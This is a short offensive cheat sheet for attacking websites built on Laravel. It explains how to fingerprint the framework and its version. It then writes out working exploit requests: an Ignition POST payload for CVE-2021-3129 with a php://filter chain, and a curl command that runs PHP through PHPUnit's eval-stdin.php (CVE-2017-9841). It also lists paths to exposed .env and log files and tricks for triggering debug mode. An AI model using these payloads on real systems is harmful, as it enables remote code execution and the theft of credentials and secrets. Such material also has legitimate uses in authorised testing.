What would you do if you came across a website that uses Laravel?
Usually in the HTTP response there is a header like this Set-Cookie: laravel_session=
- Find the related CVE by checking laravel version
- How to find the laravel version
By checking the composer file in https://example.com/composer.json, sometimes the version is printed there. If you found outdated laravel version, find the CVEs at CVEDetails
Some example CVE:
- CVE-2021-3129 (Remote Code Execution)
POST /_ignition/execute-solution HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
- Laravel 4.8.28 ~ 5.x - PHPUnit Remote Code Execution (CVE-2017-9841)
curl -d "<?php echo php_uname(); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- Exposed environment variables
- Full Path Exploit : http://example.com/.env
- Exposed log files
- Full Path Exploit : http://example.com/storage/logs/laravel.log
- Laravel Debug Mode Enabled
- Try to request to https://example.com using POST method (Error 405)
- Using [] in paramater (ex:example.com/param[]=0)
